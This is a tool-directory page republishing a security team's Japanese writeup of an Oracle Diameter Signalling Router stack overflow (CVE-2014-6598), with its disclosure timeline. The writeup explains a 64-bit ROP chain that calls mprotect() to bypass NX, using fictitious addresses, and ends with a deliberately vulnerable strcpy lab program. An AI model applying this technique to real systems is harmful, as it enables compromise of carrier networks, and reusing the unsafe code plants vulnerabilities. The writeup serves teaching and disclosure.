Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DRA_writeup — Oracle DSR スタックバッファオーバーフロー脆弱性 (DRA) の解説 CVE-2014-6598 | Kitploit
ツール/GitHubGitHub/kpn-ciso/dra_writeup
エクスプロイトフレームワーク脆弱性分析エクスプロイトリバースエンジニアリングファジング論文と研究学習と教育バイナリエクスプロイト
GitHubkpn-ciso/dra_writeup

DRA_writeup

Oracle DSR スタックバッファオーバーフロー脆弱性 (DRA) の解説 CVE-2014-6598

リポジトリを見る
14611年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Oracle DSR のセキュリティ脆弱性

KPN CISO REDteam

KPNはオランダに拠点を置く通信事業者です。CISO REDteamは2013年に発足したKPNの倫理的ハッキングチームです。このチームは、KPNのアプリケーションおよびサービスに対するセキュリティテストを実施し、顧客のデータが不正アクセス、改ざん、データ損失から安全であることを保証しています。

Diameter Routing Agent の背景

KPNはオランダ最大のモバイルネットワークを運営しています。KPNが運用する4Gネットワークの構成要素の1つが、Oracle Diameter Signalling Router (DSR) という名前のDiameter Routing Agentアプリケーションです。Diameter Routing Agent (DRA) は、3Gまたは4Gネットワークにおける機能要素であり、ネットワーク内の正しい要素間でメッセージがルーティングされるようにするリアルタイムルーティング機能を提供します。3GPPは、Diameterシグナリングトラフィックの増加と4G LTEネットワークの複雑化に対応するためにDRAを導入しました。DRAは、ホームネットワーク内のDiameter要素間でトラフィックをルーティングするコアルーターとして、またはホームネットワークとローミングネットワークのDiameter要素間でトラフィックをルーティングするゲートウェイルーターとして展開できます。3GPPは、MME-HSS通信とローミングに使用されるS6aを含むいくつかのインターフェースでのDiameterプロトコルの使用を規定しています。

下の図は、LTE環境における典型的なDRA導入を示しています。要素間のすべてのインターフェースはS6aインターフェースです。

alt text

  • PLMN = 公陸上移動網
  • IPX = IP eXchange
  • HSS = ホーム加入者サーバー
  • MME = モビリティ管理エンティティ

Oracle DSRは、DRA機能を実行するCentOS Linux上で動作するマシンのクラスタです。通常はホームLTEネットワーク内のさまざまなMMEおよびHSSに接続されますが、IPXネットワークを介してローミングパートナーに接続することもできます。

脆弱性

Codenomicon DEFENSICSプラットフォームを使用して、KPN REDteamはOracle DSRアプリケーションバージョン5.0に2つの重大な脆弱性を発見しました:

  • dsrプロセスにおけるスタックバッファオーバーフロー CVE-2014-6598。
  • 以前にCVE-2014-0101として報告され修正されたSCTPカーネルクラッシュ。

最初の脆弱性により、IPXネットワークに接続された認証されていないリモート攻撃者がDRAとその構成要素を完全に侵害できるようになります。攻撃者がDRAシステムの完全な制御を獲得すると、DRAを経由するすべてのトラフィックを監視し、さらに通信事業者のコアネットワークに侵入する可能性があります。

責任ある情報開示のタイムライン

  • 2014-07-24 : Oracleに脆弱性を報告。
  • 2014-10-21 : 影響を受けるDSRを使用する通信事業者にセキュリティパッチをリリース。
  • 2015-01-20 : OracleがCritical Patch Update(CPU)で公開リリース。
  • 2015-01-29 : 本記事の公開。

結論

Oracleは報告された脆弱性を真剣に受け止め、KPN REDteamはOracleと緊密に協力してこれらの問題を解決しました。これはOracleの顧客向け勧告にも記載されています:

「最近のセキュリティテストにより、Oracle Diameter Signaling Router製品の一部のバージョンに2つのセキュリティ脆弱性が特定されました。これらの脆弱性の悪用からネットワークを保護するために、Oracleはここに記載されている措置を遅滞なく適用することを強く推奨します。Oracleは、以下に説明するDiameter Stackの脆弱性の発見について、KPN CISO REDteamの倫理的ハッカーであるFrank Cozijnsen氏を表彰します。Oracleの分析段階におけるKPNの支援に特に感謝します。注:これらの発見は、2015年1月20日に予定されているOracleの次のCPUで公開されます。」

発見された問題は、OracleのDSRを使用する通信事業者にとって深刻な脅威であり、IPX接続にアクセスできる攻撃者であれば誰でも悪用できる可能性があります。

テストアプローチ

KPN REDteamは、製品とサービスが本番ネットワークに導入される前にテストを実施します。アップグレードプロジェクトの一環として、KPN REDteamはOracle DSRバージョン5.0をセキュリティの観点からテストしました。セキュリティテストには、Codenomicon Diameter Server test Suiteを使用したOracle DSR DIAMETER実装のファジングが含まれていました。受信サーバーのDIAMETER機能を確認するために使用されるCapabilities Exchange Request (CER) メッセージが、最初のファジングターゲットとして使用されました。このメッセージはHSSなどの他のシステムに転送されず、DSR自体で処理されるため選択されました。ファジング中、DSRのMessage Processor (MP) ブレードで"dsr"プロセスの複数のクラッシュが確認されました。

技術的詳細

PEDAプラグインを備えたGDBを使用してクラッシュを分析し、最終的にリモートエクスプロイトを作成しました。クラッシュの原因は、スタック上にあるバッファの終端を超えた境界外書き込みでした。この境界外書き込みにより、ユーザー制御のデータでスタックが破損しました。また、関数から戻った後にプログラムが戻る先のアドレスである保存済み戻りポインタも上書きされました。この戻りポインタが攻撃者によって制御できる場合、任意のコード実行につながる可能性があります。

alt text

このブログを書いた主な理由は、KPN REDteamが導入されているASLRおよびNX保護を回避し、動作するリモートコード実行エクスプロイトを作成した方法を説明することです。通常、ASLRおよびNX保護メカニズムは攻撃者にとって大きな障害にはなりませんが、DSRは64ビットCentOS上で動作しています。64ビットのASLR保護されたLinuxシステムにおけるReturn Oriented Programming (ROP) に関する実践的なドキュメントは多くありません。

デバッグ中、libcライブラリがdsrプロセス内で常に同じアドレスにマップされており、再起動後もアドレスが変わらないことが確認されました。他のライブラリはdsrプロセス内のランダムなメモリアドレスにマップされていました。libcのメモリアドレスを知ることで、ROPガジェットのソースとしてlibcを使用できます。もう1つのオプションは、dsrバイナリ自体をROPガジェットのソースとして使用することですが、そのファイル内の有用なガジェットの数は限られています。

mprotect()

NX保護を回避するには、mprotect()関数を使用してスタックを実行可能にし、シェルコードを実行できるようにします。

mprotect()関数は、対応するレジスタに次の値を必要とします:

  • %RDIは、変更される領域のメモリオフセット(ページ境界上)を保持します。
  • %RSIは、変更されるメモリ領域のサイズを保持します。
  • %RDXは権限ビットを保持します。この場合、0x7 -> rwx権限です。

これらのレジスタがすべて設定されていれば、対象バージョンのlibcライブラリのオフセット0xe54b0でmprotect()を呼び出すことができます。

ROPチェーン

このドキュメントの以降の部分では、ROPとその仕組みに関する知識を前提としています。32ビットLinuxシステムでROPチェーンを作成する良い例がshell-storm.orgにあります。 「部分的な」ASLRのため、スタック自体の位置は予測できませんでした。ROPガジェットを使用して、スタックポインタ(%RSP)の値を%RSIレジスタに格納しました。

ステップ1

%RDIレジスタには、実行可能にする必要があるメモリ領域のメモリオフセットが含まれている必要があります。

スタックポインタを使用してこのメモリアドレスを決定でき、メモリページ境界に設定する必要があります。XOR命令を使用して、このアドレスの最後の4バイトをゼロにし、ページ境界に合わせることができます。%RAXレジスタに対してこれを行うために利用できるガジェットは1つだけだったため、最初のステップはスタックポインタの値を%RAXレジスタに取得することです。

KPN REDteamは、実際のエクスプロイトに関する情報をまだあまり公開したくないため、以下で使用するアドレスは架空のものです。ただし、命令をどの順序で実行する必要があるかのアイデアは提供されます。

最初に、スタックポインタがレジスタに格納されます。libcバイナリには値を%RAXレジスタに直接格納するガジェットがないため、%RSIレジスタが選択されます。

root@kitploit:~
The following ROP gadgets were used:
	- 0x00000039c1111111 : pop rcx ; ret 
	- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
	- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
	- 0x00000039c4444444 : mov rax, rsi ; ret


Before the overflow the registers look like this:
	%RAX	0x1e40
	%RCX 	0x3ad
	%RDX	0x0
	%RSI	0x0
	%RDI	0x49b8970
	%RSP	0x7fdb97abaaaa

The first objective is to get the value in %RSP to %RSI.

This results in the following first section of the payload: 
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]

最初に実行される命令は"pop rcx"で、0x00000039c2222222を%RCXレジスタにロードします。pop命令はまた、スタックポインタを0x00000039c3333333が格納されている場所に移動させます。これが次のROPガジェットのアドレスになります:"push rsp ; and al, 8 ; call rcx"。push rsp命令はスタックポインタをスタックにプッシュし、その後、以前に%RCXレジスタに格納されたアドレスが呼び出されます。これにより、スタックから2つの値が続けて%RDXおよび%RSIレジスタにロードされ、アドレス0x00000039c4444444に戻ります。%RSIレジスタには、以前に格納されたスタックポインタが含まれます。アドレス0x00000039c4444444にあるROPガジェットは、%RSIに格納された値を%RAXにコピーします。

%RAXレジスタ内のスタックへのポインタを使用して、スタック上のメモリマップの権限を変更できるようになりました。最後の4バイトをゼロにするには、%RAXレジスタの最後の4バイトにのみ適用されるXOR命令を使用します:

root@kitploit:~
Current values of the registers:
	%RAX 	0x7fdb97abaaaa
	%RCX 	0x00000039c2222222
	%RDX	0x7fdb97abaab2
	%RSI	0x7fdb97abaaaa
	%RDI	0x49b8970

XOR the last 4 bytes of %RAX
	0x00000039c6666666 : xor ax, ax ; ret

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x7fdb97abaab2
	%RSI	0x7fdb97abaaaa
	%RDI	0x49b8970

次のステップは、%RAXの値を%RDIに格納することです:

root@kitploit:~
The following ROP gadgets are used:
	- 0x00000039c6666666 : pop rdx ; ret
	- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
	- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx

The way these instructions interact with each other is similar to the previously explained instructions.

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]

This results in the following register content:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0x7fdb97abaaaa
	%RDI	0x7fdb97ab0000

%RDIレジスタには、ページ境界に限定されたスタック上のメモリオフセットが含まれます。

ステップ2

%RSIレジスタには、変更する必要があるメモリ領域のサイズが含まれている必要があります。

これは簡単です。%RSIにサイズを入れるだけです。

root@kitploit:~
Only one gadget is used, together with the size.
	- 0x00000039c9999999 : pop rsi ; ret

The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000]

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0xf0000
	%RDI	0x7fdb97ab0000

ステップ3

%RDXレジスタには権限ビットが含まれている必要があります。この場合、0x7 -> rwx権限です。

このステップは前のステップと似ています。値はスタックからポップされます:

root@kitploit:~
Only one gadget is used, together with the permissions setting.
	- 0x00000039caaaaaaa: pop rdx ; ret

The permissions value is 0x7 (read, write and execute permissions)

The payload now looks like this:
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]

The registers now contain:
	%RAX 	0x7fdb97ab0000
	%RCX 	0x00000039c2222222
	%RDX	0x00000039c7777777
	%RSI	0x7
	%RDI	0x7fdb97ab0000

これで、すべてのレジスタにこのスタック部分を実行可能にするための正しい値が設定されました。

ステップ4

mprotect()を呼び出す

mprotect()命令のアドレスをペイロードに含める必要があります。 この例では、libcはアドレス0x0000003888c00000にロードされているため、スタックを実行可能にするペイロードは次のようになります:

root@kitploit:~
	[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
	[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
	[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
	[0x0000003888ce54b0]

これですべてです。エクスプロイトを完成させるには、命令ポインタがシェルコードを指すようにする必要がありますが、上記の説明を読めばそれは簡単です。

自分で試す

ROPチェーンの構築と動作のテストは、64ビットLinuxマシンで簡単に行えます。 自分で試すには、脆弱なCプログラムを書くことができます:

root@kitploit:~
#include <string.h> 
#include <stdio.h> 

void print_name(char *Buffer)
{
     char name[64];
     strcpy(name,Buffer);
     printf("Hi, %s!\n", Buffer);
}

int main (int argc, char **argv)
{
     print_name(argv[1]);
}

このプログラムをStack Smashing Protection (SSP) なしでコンパイルします。

root@kitploit:~
$ gcc -fno-stack-protector -o exploitme exploitme.c

テストのため、一時的にASLRを無効にしてください:

root@kitploit:~
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

それではGDBを起動して、ハッキングを始めましょう。

GDBで、次の引数を使用してこのファイルを実行します:

root@kitploit:~
run `perl -e'print "\x41" x500'`

GDB用のPEDAプラグインを使用すると作業がはるかに簡単になり、ROPガジェットを見つけるのに役立ちます。

ツールをダウンロード